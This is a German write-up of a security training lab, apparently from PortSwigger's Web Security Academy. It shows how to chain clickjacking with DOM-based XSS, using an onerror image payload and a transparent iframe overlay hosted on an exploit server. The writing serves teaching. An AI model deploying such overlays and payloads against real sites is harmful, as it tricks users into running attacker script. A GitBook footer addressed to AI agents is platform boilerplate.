> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking zur Auslösung von DOM-XSS

### Ausnutzung einer Clickjacking-Schwachstelle zum Auslösen von DOM-basiertem XSS

#### Ziel

Den Benutzer dazu bringen, auf eine Schaltfläche ("Click Me") in einem iframe zu klicken, um die `print()` Funktion über eine durch Klick ausgelöste XSS-Schwachstelle auszuführen.

<figure><img src="/files/24b9484d2b1ccdc30ca590125047800569b64741" alt=""><figcaption></figcaption></figure>

#### Kontext / Beobachtungen

* Das **Feedback** Formular hat ein `Name` Parameter, der für eine DOM-XSS anfällig ist (die JavaScript-Nutzlast wird ausgeführt, wenn das Bild fehlschlägt und die gewünschte Funktion aufruft).
* Beispiel der erkannten Payload: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/ee75e6f3aa2044ca2dc7508226d14500ba21f1c6" alt=""><figcaption></figcaption></figure>

* Weitere nützliche Parameter, um das Formular im Frame vorab auszufüllen: `E-Mail`, `Betreff`, `Nachricht`.

#### Verwendete Nutzlast

Um auszulösen `print()` über eine Schwachstelle in `Name`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/4e1503c0c2a13083b11f14e316261f39b16884ef" alt=""><figcaption></figcaption></figure>

* Fügen Sie ein `<iframe>` das auf die `/feedback` verwundbare Seite mit vorab ausgefüllten Parametern (`Name`, `E-Mail`, `Betreff`, `Nachricht`) mit der XSS-Nutzlast.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/ed0a311fe6c776aafbe1001a71c1812f631e8dab" alt=""><figcaption></figcaption></figure>

1. Machen Sie den Frame nahezu unsichtbar (sehr geringe Deckkraft) und legen Sie darüber einen Köder, so positioniert, dass der Klick des Opfers die Schaltfläche "Click Me" im Frame erreicht.
2. Wenn das Opfer auf den Köder klickt, wird der Klick an den Frame weitergeleitet und die DOM-XSS ausgelöst — hier `print()` wird aufgerufen.

#### Beispielcode zum Hosten auf dem Exploit-Server

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Klicken</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/3a50f32825011ba24a9947f5f9409e79c42a390e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/75151030305b82e5d43159c461aa36750edb4568" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
